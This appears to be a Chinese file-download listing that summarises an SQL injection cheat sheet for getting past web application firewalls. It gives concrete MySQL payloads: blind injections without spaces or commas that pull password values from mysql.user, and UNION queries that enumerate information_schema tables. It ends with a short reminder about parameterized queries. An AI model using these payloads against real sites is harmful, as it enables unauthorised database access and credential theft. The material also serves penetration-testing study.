SQL注入绕过技巧:新手实用的避开WAF方法
需积分: 15 111 浏览量
更新于2024-08-05
收藏 9KB TXT 举报
在SQL注入攻击中,绕过速查表是渗透测试人员常用的技巧,特别是对于新手来说,理解并掌握这些方法能有效提高攻击效率和隐蔽性。本文将介绍几种常见的SQL注入绕过技术,包括但不限于:
1. **绕过Web应用防火墙(WAF)**:
SQL注入攻击通常会被WAF检测和拦截,但通过巧妙构造查询,可以利用特殊字符或函数绕过这些安全机制。例如,利用加号`+`代替空格或百分比编码`%2B`来隐藏恶意代码。
2. **利用LIKE、IN、NOTIN操作符替代等号**:
- `substring(Version(),1,1)like(5)`:利用`LIKE`模糊匹配,使得WAF可能无法识别到精确的数字。
- `substring(Version(),1,1)notin(4,3)`:使用`NOTIN`排除特定值,间接实现注入。
- `substring(Version(),1,1)in(4,3)`:与上者类似,但用于包含指定值。
3. **使用SUBSTRING函数**:
- `right(left(version(),1),1)=5`:提取字符串部分并比较,避免直接写入数字。
- `left(version(),1)=4`:同样提取字符串前缀,进行条件判断。
- `ascii(lower(substr(Version(),1,1)))=51`:使用ASCII码转换,对字符进行编码后注入。
4. **无需空格的盲注**:
- `(1)and(lower(substring((select(pass)from(mysql.user)where(user="user")),1,1))='b')`:利用嵌套查询和条件判断,不依赖于空格。
5. **联合注入**:
- `a')union(select'1',2,table_name,(4)from(information_schema.tables))%23`:利用`UNION`操作符进行数据检索,增加复杂度。
- `(-1)union(select(table_name),2,3,4,5,(6)from(information_schema.tables))/*`:类似方法,选择不同列或更深层次的数据。
6. **无需逗号的盲注**:
- `substring((selectpasswordfromuserwhereHost='localhost')FROM1FOR1)>'f'`:通过指定长度查找,避免使用逗号分隔的SQL列表。
- `mid((selectpasswordfromuserwhereHost='localhost')FROM...`:继续利用字符串切片功能进行注入。
了解这些技巧可以帮助新手更好地理解和应对SQL注入攻击,但重要的是始终记住,安全意识和防御措施是预防此类攻击的关键。在实际环境中,应确保使用参数化查询、输入验证和正确的数据类型转换等防御措施来保护应用程序和数据库。
2019-02-15 上传
104 浏览量
2018-08-14 上传
2024-04-30 上传
点击了解资源详情
点击了解资源详情
2023-09-28 上传
2009-11-24 上传
我对你何止
- 粉丝: 17
- 资源: 1
最新资源
- JHU荣誉单变量微积分课程教案介绍
- Naruto爱好者必备CLI测试应用
- Android应用显示Ignaz-Taschner-Gymnasium取消课程概览
- ASP学生信息档案管理系统毕业设计及完整源码
- Java商城源码解析:酒店管理系统快速开发指南
- 构建可解析文本框:.NET 3.5中实现文本解析与验证
- Java语言打造任天堂红白机模拟器—nes4j解析
- 基于Hadoop和Hive的网络流量分析工具介绍
- Unity实现帝国象棋:从游戏到复刻
- WordPress文档嵌入插件:无需浏览器插件即可上传和显示文档
- Android开源项目精选:优秀项目篇
- 黑色设计商务酷站模板 - 网站构建新选择
- Rollup插件去除JS文件横幅:横扫许可证头
- AngularDart中Hammock服务的使用与REST API集成
- 开源AVR编程器:高效、低成本的微控制器编程解决方案
- Anya Keller 图片组合的开发部署记录